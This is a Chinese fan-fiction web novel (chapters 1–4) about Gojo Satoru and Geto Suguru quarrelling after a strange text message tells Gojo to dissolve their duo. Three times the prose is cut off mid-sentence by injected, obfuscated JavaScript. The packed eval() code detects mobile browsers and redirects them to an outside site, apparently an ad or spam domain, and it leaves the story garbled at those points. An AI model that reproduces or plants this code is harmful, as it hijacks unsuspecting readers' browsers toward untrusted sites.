《祓本组的挚友要和我解除组合关系》 1. 第 1 章 那本来应该是2005年夏日的一个平静的午后。 伟大的、最强的、咒术界希望之光的五条悟（15）正躺在家里吹着空调打游戏来耗费来之不易的短暂暑假时光。 一切都如此平静，直到他的手机震动了一下——有人给他发来了一条短讯。 五条悟无心搭理，毕竟如果别人有重要的事找他，绝不会只是一条短讯这么简单，所以大概只是无聊的骚扰短信吧。 他又默默翻了个身，换了个姿势继续玩游戏。只可惜就这么一翻身，他不小心手滑了一下，游戏机小小的屏幕上就显示出了Game over的字样。五条悟瞪着眼同游戏无情的判定结果对峙了片刻，最终还是放弃了，从不内耗的五条大人将游戏机一放，拿过手机决定看看是哪路神仙敢在这个时候打扰他。 翻开手机一看，发来短讯的是一个陌生号码……五条悟打了个哈欠才点进去查看短讯的具体内容，原本打算调-戏调-戏这个骚扰短信，可在看过内容后哈欠都被憋回去了。 【我从来都没有觉得和悟组成漫才组合高兴过，比起再纠缠下去，回到自己的生活不是更好吗？就这样解散吧，别再来打扰我了！】 五条悟相当莫名地坐直了身子，全身心感到诡异。 他已经无法把这条短讯当成普通的骚扰短信了——对方可是精准地叫出了他的名字，虽然漫才组合和搭档有点莫名其妙，但……语气、这种语气，他却意外地觉得很熟悉，甚至脑内都有配音了。 非要说的话，目前勉强能称得上是他“搭档”的家伙，也就只有“那个人”了吧？正论发射机、伪劣优等生、还留着一撇超级奇怪的刘海的——夏油杰同学！ 好吧，真没办法。五条悟顺理成章地想，杰一定是暑假还要独自留守高专感到寂寞了，所以才会换个号码来恶作剧他！自认为得到了真相的五条悟自信满满地按下回拨键，静候片刻后，手机中却传来“您拨打的用户不在服务区”的机械女音的抱歉声。 呃，打不通。 五条悟感到有点冷场，他沉默了片刻，结合那边给出的设定回了个短讯过去。 【？杰在说什么啊，为什么突然就要解散？】 短讯倒是顺利发出去了……五条悟咂了咂嘴，思索这究竟是怎么做到的，难道夏油杰独自留守的这段时间还收获了电子咒灵吗？连这都能控制。 五条悟觉得自己已经非常配合夏油杰的恶作剧了，对面就应该对五条大人的配合感恩戴德，立刻秒回短讯陪也很无聊的他耗费时间。 然而，令人意外的是，短讯发出去许久也没能得到回音，五条悟和自己的手机干瞪眼许久，最后不得不承认夏油杰的恶作剧实在很高明，他的时间就这么被浪费了。他又给那个号码发了一个问号过去，才转而拨打了夏油杰更常用的那个号码。 这一回，“嘟嘟”的拨号声没响多久，电话就被接通了。那头传来一个清朗温和的少年声音，但就算很努力地掩饰过了，也没能藏住仿若刚睡醒的沙哑，“喂？这里是夏油，有什么事吗？” 嘿，这家伙还在装刚睡醒，意图将自己和方才的恶作剧划清界限呢！五条悟乐了。 “下午好杰君~~~”五条悟夹着嗓子无比荡漾地说，“你想不想和老子做一辈子的搭档呀？” 刚接通就被雷得外焦里嫩的夏油杰：“……” 对面陷入了长久的沉默当中。 率先响起的是床板被反复按压的嘎吱声——夏油杰从床上起来了；随后拖鞋踩在木地板上的发出啪嗒啪嗒的声音——夏油杰穿上了拖鞋要去什么地方；咕咚一下，饮水机开始往外哗哗地倒水——夏油杰起来接水喝了。 五条悟安静地听了半晌，才用正常的声音连珠炮似的问：“杰，为什么不说话啊？对了，你怎么做到的？怎么老子刚刚给你打电话都打不通？难道电子咒灵真的存在吗？” 明明他可是按照夏油杰给出的设定配合下去了，结果主导恶作剧的家伙却突然装傻不想玩了，岂有此理！ 喝过水后，夏油杰的脑子总算清醒点了，他长长地吐出一口气，大脑才堪堪开始处理刚刚听到的问题，声音听起来实在是满满的真心困惑，“呼……悟在说什么啊？我什么都没做。” “好吧，那先不管。”五条悟这才意识到有点不对，但被那条“解散短讯”影响，他现在有更在意的事情，非常精准地锁定了被夏油杰若无其事回避掉的第一个问题，清了清嗓子又郑重其事地问道，“杰干嘛不回答？你不想和老子做一辈子的搭档？” 独自留守高专，最近干了不少活的夏油同学好不容易找到了机会休息，突然被吵醒、再非得被逼问如此让人难为情的问题，也不免有了点起床气，口不择言道：“你没病吧？怎么突然问这个……” 五条悟愈发感到不妙：“……你什么意思？” 原本只当作恶作剧的、那条说着要解散漫才组合的短讯此刻不断地在他脑海中轮转，年仅15岁的五条悟不得不去思考一个非常沉重的问题——夏油杰，真的会和他分开吗？ 五条悟的语气一下就低沉了下去，“杰，为什么不说话？” 夏油杰也反应过来自己刚刚讲话有点攻击性太强了，颇有点尴尬地解释道：“听好了悟，无论是什么关系，‘一辈子’这种话都是不能随便说的。再说了，我们两个以后绝对都是特级吧，要是一直绑在一起做任务的话，效率绝对会大打折扣的，这样能救的人也会变少，所以——” “够了！”五条悟稍显粗鲁地打断了他的话，他越想越气，总觉得也会在哪天莫名其妙就收到来自最好的挚友的散伙通知，既怪那条短讯又怪夏油杰，怒气冲冲道，“我们难道不是挚友？杰居然连要和老子做一辈子搭档的决心都没有，老子要怎么相信你哪句话是真哪句话是假？！” 他只是觉得“一辈子”的承诺太沉重了啊，怎么突然就拐到这个角度来了——夏油杰的瞌睡虫这下终于全跑光了，五条悟刚刚突然大声打断他的声音配合着电波特有的沙沙声，甚至把他吓了一跳。 不过在反应过来之后，夏油杰偏偏又在这部分相当执拗，半点都不肯退让地也提高了声音：“就因为我要和悟做唯一的、最好的挚友，所以才不能在这种事情上骗人啊！动不动就要和人定下一辈子的承诺，悟难道还是小孩子吗？” 他一来劲，五条悟就更生气了，气势汹汹道：“什么叫‘动不动’？老子可是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156232|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杰说要和老子做最好的挚友就下定决心了的，可杰心里原来就是这么想的！如果老子不问，你就打算在某天突然一拍脑门觉得我们可以分开了就顺理成章地把老子丢下是吧？！” 五条悟语速飞快，他甚至还觉得自己隔着手机不能发挥出全部实力，根本没给夏油杰插话的机会便不容置疑地宣布道：“等着吧、等着吧夏油杰！老子立刻就回高专，老子绝对不会放过你这个感情骗子——” “等等，回高专？”夏油杰的注意力一下就被转移了，失声道，“不行、最近——” 五条悟现在听见从他嘴里蹦出来的否定意见就来气，没等夏油杰说话就“啪”地一下挂断了电话。 夏油杰飞快地回拨了过来，五条悟看也不看就直接挂断了。他现在一门心思要回高专去和夏油杰面对面吵架，不管什么都阻止不了他。 糟了无妄之灾的夏油杰又拨回来几次都遭遇了同样的待遇，便转而发短讯意图解释最近为什么不要回高专——可惜，五条悟已经把手机关机了。 这天下午，五条家的族人们就看着回家还没几天的悟少爷火急火燎地收拾了行李，招呼都没打就回了高专，临走前看起来貌似还气鼓鼓的。 众人百思不得其解，连忙排查究竟是本家里什么东西惹到了伟大的、尊贵的、咒术界希望之光的六眼神子，却最后也没能得出一个合理的答案，最终只能归结于是神子大人又在家里待腻了，还是觉得东京好玩、唉，好玩的到底是谁，他们也不好说。 不过现在的五条悟还不知道自己突兀的行为给族人们带来了多大的困惑，他人都坐上了新干线才重新把手机开机。 夏油杰发了几条后意识到他一时半会儿不会看，就停止了这样的无用功，只最后总结了一条：【最近寝室电路老化正在检修，寝室没电，悟回来住不会舒服的。不论悟是怎么想的，我还是认为……】 五条悟用头发丝都能想到他接下来的论调，看到这儿就又气鼓鼓地退出去了。 夏油杰肯定知道他在气什么，但这家伙就是一如既往的固执，认为自己是对的就坚决不认错。 他当然也知道夏油杰的意思，可他从来都不觉得自己的决定草率。五条悟非常坚决地认定这个世界上不会有比夏油杰还对他胃口的人了，所以才早早地下定了要做一辈子挚友的决心。于是，从夏油杰那里得到了完全期望外的答案后，他才会如此地愤怒。 ——我们不是唯二的同类吗？你为什么和我的想法不一样？ 当然，五条悟不需要夏油杰和他的思维完全一致，他也超满意夏油同学向他展现的那些神子不在意的视角的，但在如此重要的观念上竟然产生了这样大的分歧，对五条悟来说简直是毁灭性的打击。 五条悟有点心烦意乱地戳着手机按键，引发这场爆炸争吵的号码至今没有回答他的问询，夏油杰的表现也是确实对此毫不知情……要是这个号码后面藏着某个阴险的、意图将正冉冉升起的最强组合从此离间的邪恶诅咒师的话，那这家伙的计划至少成功了个开头。 因为五条悟真的要去和夏油杰线下1v1吵架甚至升级为斗殴了。 【你到底是谁？】五条悟又发了一条消息过去。 2. 第 2 章 五条悟的行动力是举世罕见的。他说马上就要回去，几个小时后人已经顺利到了东京咒术高专。 只是随手一戳竟然真戳出了爆炸新闻的手欠猫很不好哄。 夏油杰的电话让他全挂了，消息也一律已读不回，但显然对面也相当有脾气，遭了这种对待后便也不伺候五条少爷了，停了问询两边互不搭理。 毕竟……仔细算来，夏油杰在此次事件中属实无辜，非要分锅恐怕也只能分到两成—— 他只在心里想想的事，五条悟非得这样不顾一切地扯到明面上来和他争，毫无半点边界意识，让常识更加充足的夏油同学感到非常难以适从。 这个国家普通人间的态度就是如此，大家一般是不会去给别人添麻烦的。五条悟这样没道理讲的家伙还是太少见了。 五条悟不在乎，对他来说，同夏油杰的关系就是最最重要的大事，才到寝室门口，行李都还来不及放进自己寝室，便转个身砰砰砰地敲起了夏油杰的房门，还伴随着“开门啊开门啊我知道你在”的呼喊声，活像个来讨债的大爷。 只可惜，他敲了好半天，也没人过来开门，被恼怒蒙蔽了的六眼此刻在堪堪重新启动，隔着门板能看见的咒力残秽很浓郁，但却属实没有继续产生的意思，再仔细辨认一下，夏油杰根本不在里面，恐怕是不久前才离开的。 五条悟很不信邪地自行掏出了钥匙开门，先是探头观察了片刻，入目是优等生收拾得超整洁的房间，他瘪了瘪嘴，似乎觉得自己这样有点太心虚了，随即挺直了身子大摇大摆地走进了房间里。 他拉开冰箱，却在冰箱灯没亮起来的时候才忽的想起夏油杰跟他说的寝室停电。这事其实在暑假前就通知过他们了，还让大家把东西收拾一下，不要把不易保存的食物留在寝室里。 不过五条悟冰箱里又没放东西，他时常往夏油杰寝室里钻，嫌走来走去拿零食太麻烦，所以直接塞在夏油杰这边了，所以根本没放在心上。 五条悟又在空空如也的冰箱里翻找了一会儿才放弃，一大条人在夏油杰的寝室里转过来转过去终于在书桌抽屉里找到颗被气温烘得有点黏糊糊的牛奶糖嚼吧嚼吧了，原本想大咧咧地往床上一坐，却在屁股碰到床之前停住了——怪刘海优等生不让人随便穿着外裤坐他的床。 尽管心里知道夏油杰现在被他惹得火冒三丈，其余举动再乖巧，也不一定会为迟早会爆发的线下1v1真男人决斗得到半分优势，但五条悟还是格外从心地盘腿坐在了地上拿出手机。 那个发来短讯的号码仍然没有回音，五条悟隐隐有所感觉，这个号码带来的信息很有可能与漫画里主角突然得到的超能力有同等作用。 于是本来就是超能力中二少年的五条悟对其抱有十二分的重视，犹疑了片刻将那号码存了下来，备注在通讯录里是“A”，打开通讯录就能看见，算是他手动置顶。 至于原本排在最顶上的“AAAAA”——代表着夏油杰的那一栏，五条悟磨了磨牙，原本想将其备注改为夏油杰大名暗自小发雷霆一下，但真动手时却觉得自己所为太过憋屈，转念一想改个屁备注，直接电话就打了过去。 哪怕已经擅自决定了要和莫名其妙找茬的男同学冷战，但电话响起夏油杰接倒是接得很快，语气相当生硬地问：“干什么？” 他那边声音有点嘈杂，似乎正处于人流之中。 “老子已经回来了，杰人呢？”五条悟很不客气，“你该不会是怕了吧？” 他是真打定主意必然要在今天和夏油杰掰扯明白，反正最坏的结果也就是他们意见不合打得惊天动地，把放假的夜蛾正道铲回来收拾残局。 不过嘛，只要夜蛾正道的指导铁拳到了，一切都会好起来的，有了共同的“敌人”后，夏油杰会知道到底谁才是值得他勾肩搭背做一辈子咒术师搭档的人！ 夏油杰：“……哦，回来了。” 虽然五条悟平时看起来自由散漫，但对于自己在意的事情可是会拿出百分之二百的毅力和精力去做的。夏油杰觉得这样挺好，但当五条悟把这种精神发挥到找他茬上时，他倒还真希望五条悟能再散漫一点了。 真是的，别在奇怪的地方变得执拗啊！ 五条悟拧着眉头，非常咄咄逼人：“‘哦’是什么意思啊？” “不，没什么。”夏油杰自然而然地揭过话题，若无其事道，“我出门买吃的了，悟有想吃的东西吗？我可以帮你带。” ——高专本来就人少，现在是趁着还没到最炎热也最繁忙的那段时间抢着先放会儿假，总不能要求后勤人员们都留下来为唯一一个留校的学生服务。夏油杰自己是接受了这个事实的，所以差不多时间就该从高专出发去市区找点食物了。 五条悟很坚决：“老子不要。” 类似于“和你吵架的妈妈叫你吃饭”的微妙求和信号被驳回了，夏油杰感到十分不妙。 夏油杰搓猫搓了快半年，从一见面就针尖对麦芒，冷嘲热讽唇枪舌剑至大打出手，到现在五条悟哪怕超级愤怒也不会跳上他的床翻滚旋转，就能看出他在训猫一事上非常有手段——当然，也有猫很配合的因素在里面。 可惜，他如今面对的是一定要打破砂锅问到底究极ky精形态的五条悟，丝毫不受蒙蔽，直愣愣地朝着一开始的目的去了。 五条悟发出一声冷笑：“又想转移话题啊。老子就直说了，只有这方面是绝对不可能让杰逃避的，问题根本就不在‘能不能’而是‘想不想’。” 伪劣优等生看似给他列出了好几种他们不可能一直做搭档的理由，实际上却一点都没提自己的想法。 按照总监部恨不得把能干活的人拆成三份干八个活的尿性，五条悟难道不知道日后自己和夏油杰一定会被拆开满世界忙吗？他根本不关心“一辈子做搭档”的愿望究竟能不能实现，他只关心夏油杰有没有想过，愿不愿意！ 而夏油杰婉转迂回的态度说明这家伙从来就没想过，甚至说其实根本就不愿意！这一个学期来的情谊与时光，终究是错付了！ 夏油杰：“……” 夏油同学镇定的面具一碎再碎，隐隐有几分底裤都要被人看光的羞耻感，而羞耻到极点之后，他甚至有点恼羞成怒了—— 本来他好好地躺在寝室里睡午觉，五条悟便趁着他神志不清，叽里咕噜地逼问出了他自认为很有道理的“真心话”，现在还要因为这个和他闹出一副不死不休的样子来！ 一直做得沉稳体贴，实则也被猫惯出了几分脾气的临时饲主也怒了，语速都加快了不少， “对啊，我就是觉得‘一辈子’这样的话不能随随便便就说。如果只靠说的就真能实现的话，这个世界上也就不会有那么多悲剧了！要是悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156233|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是想听哄人的甜言蜜语的话，干脆就不要和我耗着了！” 啪嗒。电话挂断了。 五条悟：“……” 他这才觉得事情严重起来。先前夏油杰也是生气，但万万没到会主动挂他电话的地步。事到如今，曾经同夏油杰相处打闹时脑中闪过的“the only one”、“独一无二的朋友”……诸如此类的想法顿时变得有几分幻灭。 这很坏了。五条悟怔怔地盯着手机半晌，但最终也没给夏油杰回拨过去，被奇怪短讯刺激的猫迫切地想得到一个实在的回答，结果手段过于粗糙彻底踩了狐狸尾巴，非常记仇的狐狸嘤嘤嗷嗷地大叫着跑出三里地去了。 五条悟很不爽，甚至还有点委屈，但被夏油杰挂了电话后，从没受过这种苦的大少爷很硬气地也不打算理他了。 只是他满腔怨气属实无从发泄，最终默默继续转向引发一切的罪魁祸首输出，又乱七八糟地给“A”发了一堆骚扰短信，才勉强想起正确途径，给家里的老头打了个电话让他们去查查这个号码，把自己来夏油杰寝室的痕迹收拾过，连糖纸都一并带走后又悄无声息地撤走了。 就算一头雾水，但五条家向来无条件服从神子大人的命令，连缘由都没问便飞快去查了，得出结果不过只花了区区一个小时，连出门觅食的夏油杰都还没回来，只有五条悟面对着离奇的结果瞠目结舌。 此号码的上一个使用人，的确就是夏油杰本人，然而情报显示，其在上高专之前就注销掉了，现在这个号码根本没人接手。 如果是诈骗犯用的虚拟号码，上来却模仿夏油杰的语气讲些莫名其妙的话，实在毫无意义。 五条悟绝对会给另一个“当事人”打电话询问情况，这种诈骗方式绝对无效，除了恶作剧之外没什么理由去解释对方的动机……但这个世界上还有谁无聊且胆大到敢来拿他寻开心吗？ 哪怕是专业的、甚至说是这个世界上最专业的咒术师之一，遇上这种事情也只能无能狂怒地又戳了几条骚扰信息过去。要是对方能收到的话，恐怕会非常惊异地觉得电话那头的人似乎突然脑子坏掉了。 他气哼哼地把发了好几条，忽的耳朵一动，警惕地听着门外的动静，将手机放下暗搓搓地摸到了门边，非常突然地把门拉开了一条小缝，刚准备敲门的夏油杰被吓了一跳，很谨慎地退了半步。 五条悟半抵着门，只从门缝里露出一只蓝幽幽的眼睛，阴阳怪气道：“哟，干什么？这不是‘绝对不会随随便便乱说话的’夏油大人吗？现在是准备溜进来暗杀老子吗？” 还没消气的五条悟率先将锅甩了出去，颠倒黑白的本领相当熟稔，要不是夏油杰尚且还很清醒，竟然差点要被他如此理直气壮的态度蒙混过去了。 今天遭遇的一切对夏油杰来说几乎都是无妄之灾，他看着似乎已经在蓄力要和他辩至大道磨灭的五条悟，耐心已经完全耗尽，对接下来的可能的走向感到非常不耐烦。 于是非常硬气的夏油同学也冷笑一声，凉凉道：“路过而已，门口这块地也是你的吗？” 住对门的夏油杰自然而然地侧过身，回自己寝室去了，咔哒一下房门反锁的声音听起来是如此地无情。 本以为这人是来承认错误的五条悟惊呆了，推着门呆愣着看了对面紧闭的大门半晌，怒哼一声砰的一下也甩上了自己的门。 3. 第 3 章 夜深人静，寝室没电，为了暂存手机电量也不能靠益智小游戏打发时间。 只能睡觉的五条悟躺在床上，不情不愿地想——夏油杰不让他回来，确实是有道理的。 就算现在还没到日本最热的时候，可ban掉一切制冷电器的晚上仍然很难熬。闷热的暑气早就填满整个房间，开窗通风也只是让外部的在白天积累了一整天的热气涌进来。 五条悟面无表情地盯着天花板，热得不想动弹，出了汗之后身上黏糊糊的，很不舒服。 尽管他知道对门的咒灵操使必然有制冷手段才能如此自如地度过好几天，但他们在吵架耶，因为这点困难就过去求和，显得他很逊诶！ 他要向夏油杰抗议的决心是很坚定的，才不会被区区高温打败。 于是同样也很硬气的五条悟贴在地板上勉强凑合了一晚，早上又紧急冲了个冷水澡才让自己看起来足够清爽，只是浑身的低气压实在过于沉重，好像有谁欠了他钱似的。 五条悟打开手机看了一眼，已经过了平常夏油杰叫早的时候，那家伙今天根本没叫他，咦惹好过分！ 被迫独立的大少爷套好衣服出门，随便往对门一瞟——夏油杰居然不在寝室里，此怪刘海坏蛋起得早也跑得快，大概一时半会儿不打算面对五条悟。 五条悟这才慢悠悠地想：哦，他们应该是开始冷战了。 更早些他们还不熟的时候都没闹过这出。 毕竟夏油杰自诩是成熟懂事的乖巧优等生，哪怕三秒钟就被ky精点炸也很少当场发作，至少那会儿还暂且在班主任面前做足了表面功夫…… 结果两人臭味相投逐渐熟络起来后，小他两个月的臭小鬼脾气愈发渐长，逼急了动不动就和他大小声，还时常有出去谈谈的环节。现在倒好，竟然还直接和他闹上冷战了。 好样的啊夏油杰，要和五条悟做一辈子的搭档就让你这么抗拒吗？ 五条悟嘀咕着什么怪刘海大猩猩的走到了还在营业的自动售货机前，看了半天也没有感兴趣的食物，本来打算搞点薯片垫垫，便听见手机叮当响了一声。 他现在对这种短讯消息的提示音非常敏感，拿出来一看却是家入硝子发来的消息，内容是一个地址。 他问号还没发出去，下一条消息紧跟着发来了：【任务，你要来吗？夏油也在。】 五条悟的问号还是顺利地发出去了：【？他在不在跟老子有什么关系】 家入硝子显然不想成为这两个超大号小学生play的一环，根本不搭茬，非常公事公办地发消息：【你不来也行，但上午别待在寝室里了，据说有人来通电，所以才给我们找点事做。】 明明是夏油杰对他发起了冷战诶，就这么配合地也退避了，岂不是显得他多害怕似的？ 五条悟又不干了，飞快地打字道：【谁说老子不去了？等着，马上来】 家入硝子放下手机，耸了耸肩道：“五条说他要来，再等等吧。” 虽然已经合作过很多次，但还是不太敢和五条悟说话的辅助监督松了口气，“太好了，真是多谢你了家入同学……不过夏油同学人呢？从刚刚开始就没看见他啊……” 家入硝子探头四顾，过了好半天才总算看到了从便利店里出来的夏油杰，这家伙刚刚大概是没跟辅助监督打招呼就先溜了，完美地避开了被拜托询问五条悟的委托，看着时间差不多又若无其事地回来了…… 唉，烦人的超大号小学生们是这样的，闹起脾气来或多或少会波及到周围的人。 “我刚刚去便利店买东西了，有什么事吗熊井先生？”夏油杰带着无懈可击的微笑走过来。 辅助监督挠了挠头，虽然感觉有点奇怪但还是没有多问，否认道：“不，就是突然没有看见夏油同学有点意外，是去买东西的话就没事了……” 顺利把辅助监督糊弄过去，夏油杰把便利袋递给了家入硝子，女同学对不妙的事件总是有着非常强烈的警觉心，根本不打算伸手接。 夏油杰无可奈何地又从兜里把刚刚伪装成年人买来的一包烟递给她。 家入硝子伸手，主动收取了“贿赂”，才问道：“要做什么？” 夏油杰低声道：“硝子等会帮我递给悟吧，拜托了。” 家入硝子明知故问：“干嘛不自己递？” 夏油杰很微妙地沉默了片刻，非常嘴硬地说：“看时间他估计才醒没多久，饿着肚子去探查咒灵情况，半路突然能量耗尽倒地上了我才不管。” 家入硝子视线下移，看了看已经到自己手里的便利袋—— 里头是一个菠萝包和一盒甜牛奶，又抬起眼睛看向用相当别扭的方式说了关心的话的夏油杰，视线来回游离了好半晌，才轻飘飘地发出了一声短促的“哦”。 ——就是那个吧？虽然妈妈和你吵架了，但妈妈不会让你饿肚子。 夏油杰：“……” 好伤人的反应。 家入硝子毕竟收了他的贿赂，当然不会立刻下他面子，很快就顺从道：“嗯嗯，我明白了。也不会说是你买来的哦。” 不过要是五条自己悟出来了，可就不怪她咯。 夏油杰微微颔首，“多谢了。” “我说，傲娇是坏文明啊，夏油。你……哈哈，算了。”家入硝子用手指勾着轻轻甩了甩便利袋，不出意外的话，这两个家伙很快就能和好了，她才不要当笨蛋们play的一环呢，便只随口一提就结束了这个话题。 被虚空中飞来写着“傲娇”两个大字的箭头正好命中的夏油杰：“……” 他倒是有心给家入硝子解释，但……真实的原因也太诡异了吧！ 就因为没能顺着大少爷的脾气把自己的一辈子交出口，就享受了一顿五条式的撒泼打滚。 从小到大做什么都是随自己心意的家伙当然不能理解自己的要求有多过分，强迫着要别人交出一辈子承诺的人才是真正的感情骗子吧！ 五条悟，感情骗子！ 夏油杰心里嘀咕完，面上还是一本正经的样子，若无其事地装傻：“我也这样觉得，傲娇的属性果然还是在二次元更讨人喜欢啊。不过硝子为什么突然提起这个？” 装睡的人啊！叫不醒，根本叫不醒！家入硝子翻了个白眼，最终决定不要和睁眼说瞎话的男同学交流了，抬起手冲他身后打招呼，“欸，五条。过来过来，有东西给你。” 夏油杰忍不住回头往后看。 飞奔着赶车过来找他们汇合的五条悟现在又矜持了起来，视若无睹地走过他身边，却又很刻意地偏偏往着夏油杰扭头的另一个方向走，还要撞一下他的肩膀让完全没设防的男同学被撞了一个趔趄。 “什么东西？”五条悟大咧咧地从家入硝子手里把便利袋接过来，打开一看便很情绪价值充足地惊叹道，“哇——硝子怎么知道老子还没吃早饭？不过这个牛奶……啊，是甜的啊，谢谢硝子~” 家入硝子瞥了瞥正在隐晦地给她递眼色的夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156234|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油杰，看在对方主动偷渡了烟草给她的份上，勉为其难地配合着关心道：“啊、对对对，就知道你赶过来没时间吃早饭。据说这次的咒灵还挺强的，不要死掉哦。” 这点距离，同学们的眼神交流被五条悟看得一清二楚，再加上家入硝子演得也不算认真，轻易地就让他明白了真相。 白发少年撇撇嘴，抬手把墨镜往上推了推，借着手和墨镜的遮挡挪动眼球去瞟旁边的夏油杰。 不过夏油杰刚刚才被他用力撞过，别开脑袋做出一副很无语的样子，看起来也不准备替自己找补，只讲究一个嘴硬。 “看什么看。”夏油杰冷淡地说。 五条悟发出了超大声的“嘁”后，径直走向了辅助监督的副驾驶位置，拉开车门就坐了进去，把拿着手机确认任务情报是否有更新的辅助监督吓了一跳。 辅助监督手忙脚乱地把纸质版的资料递给他，打招呼道：“啊，五条同学早上好。” “哦，早啊。”五条悟接过纸质资料随口回答，看起来兴致缺缺的。 辅助监督虽然有点疑惑怎么今天五条悟坐到副驾来了，但夏油杰和家入硝子都依次在后排落座，没有提出意见，他便也只能把询问的话语吞了回去，说： “既然大家都到了，我们现在就前往任务地点。我刚刚看过，‘窗’没有更新情报，现在知道的就是我已经打印出来的了，家入同学和夏油同学刚刚都看过了……” 五条悟看了两眼，下意识地便抱怨道：“字好多啊。” 毕竟原来这种东西也不用他亲自看—— 夏油杰自然而然地接了话，总结道：“青梅市及其周围近来关于‘龙’的传闻非常风靡，不过只在网络上以文字形式被少部分民众讨论，没有图片流出。‘窗’实地调查后确认是准一级往上的龙型咒灵，现在已经锁定了它出没的具体范围，希望我们能够顺利祓除掉它。” 辅助监督微微点头，附和道：“对对，就是夏油同学说的这样。” 他应和完，才发现少了点什么，车里竟然一片寂静——平常相当活泼的五条同学此刻一言不发。 辅助监督借着中央后视镜瞟这群未成年，先看见一个面无表情的撕开面包包装袋准备吃东西的五条悟，再发现顺利将长篇大论的情报压缩完毕的夏油杰表情也有点尴尬，只有看着手机似乎是在和谁聊天打字的家入硝子神色比较轻松。 哪怕辅助监督先生的心一直都很大，现在也能看出来了——两个男孩子之间绝对闹矛盾了！ 然而，青春期的小鬼闹矛盾的理由千奇百怪，自以为是的成年人擅自介入调解才可能造成更加难堪的后果。 辅助监督便只能真心实意地叮嘱道：“我们的工作还挺玩命的，大家千万不要把情绪带到任务里……” 他还说着呢，余光就看见五条悟和夏油杰都不约而同地看向了他，于是便及时打住，飞快说完，“啊哈哈哈，希望这次任务也能顺利！” 车内再次陷入一片寂静，不自觉地威胁了辅助监督的两个DK又各自将视线移开，五条悟死死地盯着手里的菠萝包，好似同它有什么深仇大恨似的，夏油杰则是看向窗外，这风景可真风景啊，树是树草是草的。 家入硝子冷不丁地说：“熊井先生说得也没错吧，你们两个也差不多一点。” 她连头都没抬，但话说完之后，车内有些沉寂的气氛终于缓和了许多。 辅助监督险些要感动落泪——太伟大了，家入硝子。 4. 第 4 章 都已经是十五岁的男高中生了，道理当然都懂，但这并不影响他们继续互不搭理。 五条悟吃完东西还很顺手地从后排的夏油杰那里接过了纸巾，然而，在这途中他们甚至连眼神交流都没有。 车上的另外两个人也搞不明白他们到底是什么章程，就只能一言不发地到达了任务地点——交通并不方便的荒山下。 家入硝子看了一眼崎岖的山路，便立刻说：“我不和你们一起上去了，加油加油。” 她本来也不用亲临前线的，只是最近没有特别多伤员需要她处理，这条龙型咒灵的初步评级又很高，她就顺便跟过来了，发现这山路属实不好走后立刻打了退堂鼓，选择和辅助监督一起在山下留守。 两个DK都没有意见，五条悟更是头也不回地往前走，就补比了个OK的手势示意自己知道了。 家入硝子看着慢了一步还没走的夏油杰，郑重其事道：“如果你们因为内讧受伤，我不会给你们治疗的，在床上躺过这几天吧。” 夏油杰非常惊诧：“怎么可能呢？硝子就等着我们回来吧。” 家入硝子哈哈一笑，不予置评。 在知根知底的女同学面前，伪装实在毫无意义。 此二问题儿童在这方面算得上前科累累，不过是消停了一段时间而已，谁能保证不会复发呢。 咒术高专同期生的信任，总是在某些方面略显薄弱的。 夏油杰刚想跟上根本不等人的白毛恶猫，才转过身，早已走出一段距离的五条悟好像想起了什么，呲溜一下又回来了。 “对了硝子，帮老子保管一下。”五条悟把自己的手机递给留守的女同学，叮嘱道，“有短讯发过来的话稍微留意一下，但是不许偷看，真的不许看哦！” 家入硝子很有分寸，本来就对看别人的消息没兴趣，听到他反复强调的要求不禁面目扭曲了片刻，接过手机顺嘴就呛声道：“怎么，是占有欲很强的女朋友吗？” 五条悟立刻反驳：“什么啊，才不是。只是一个很会给人添麻烦的家伙罢了。” 他不明白究竟是平行世界多元宇宙还是灵异事件，搞不清楚收到短讯的原理，就只能先暂且保护好这部手机了。 虽然他对自己的术式很自信，但也得考虑一下意外情况，果然还是放在家入硝子这里会安全得多。 世界上居然还存在着除夏油杰之外能被这家伙评价为“麻烦”的人啊……家入硝子转了转无辜的大眼睛，点头道：“好呀，我没问题。作为交换，等会回去的路上展开讲讲嘛。” ——得让歌姬前辈也知道，世界上竟然存在第二个让五条悟也觉得难办的家伙。 五条悟对号码背后的人的身份已经拿捏得八九不离十，本来可以把猜想讲出来，但夏油杰还在和他冷战，五条悟拒绝主动cue他寻找话题，颇有些气恼地说：“都说了不是啦，谈恋爱可是很辛苦的，老子才不要咧！” 夏油杰以相当诡异的视线注视着他们——主要是在看五条悟。 要不是没看出来咒灵附身的痕迹，他可要怀疑从昨天开始就一直很反常的五条悟是中邪了。 